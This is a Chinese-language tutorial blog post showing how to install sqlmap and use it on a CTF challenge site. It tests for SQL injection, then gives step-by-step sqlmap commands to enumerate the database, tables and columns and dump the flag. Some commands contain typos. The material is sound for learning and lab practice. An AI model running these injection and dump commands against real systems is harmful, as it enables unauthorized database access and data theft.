sqlmap

使用的环境是Ubuntu系统
在这里插入图片描述

sqlmap的安装

sqlmap需要安装python2环境,python3不行(Ubuntu下默认安装python2)
输入命令:sudo apt sqlamp
检查是否安装成功
输入命令:sqlmap -help返回下面结果即为成功。
在这里插入图片描述

sqlmap基本参数

sqlmap -h 查看帮助选项
is -dba 当前用户权限
dbs 所有数据库
current-db 网站当前数据库
users 所有数据库用户
current-user 当前数据库用户
tables 参数:列表名
columns 参数:字段名
dump 参数:下载数据

sqlmap牛刀小试

我们以这到题为例http://www.shiyanbar.com/ctf/33。
如果没有注册过实验吧的朋友先注册下实验吧
拿到题目我们判断下有没有sql注入

在url后面加上and 1=1,没有报错
加上and 1=2,报错。
说明有sql注入

在这里插入图片描述
在这里插入图片描述
第一步使用sqlmap查看数据库信息
输入命令:sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --current-db
在这里插入图片描述
经过一些时间成功爆出当前数据库为my_db,如果注入过程提示选择y或者n,一般是选择y。大概就是尝试更多的方法进行注入
第二步、爆出表名
输入命令:sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables

在这里插入图片描述
第三步爆字段名
输入命令:

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columnsy

在这里插入图片描述
第四步、爆数据
输入命令:

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump

稍等片刻,成功找到flag:whatiMyD91dump
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值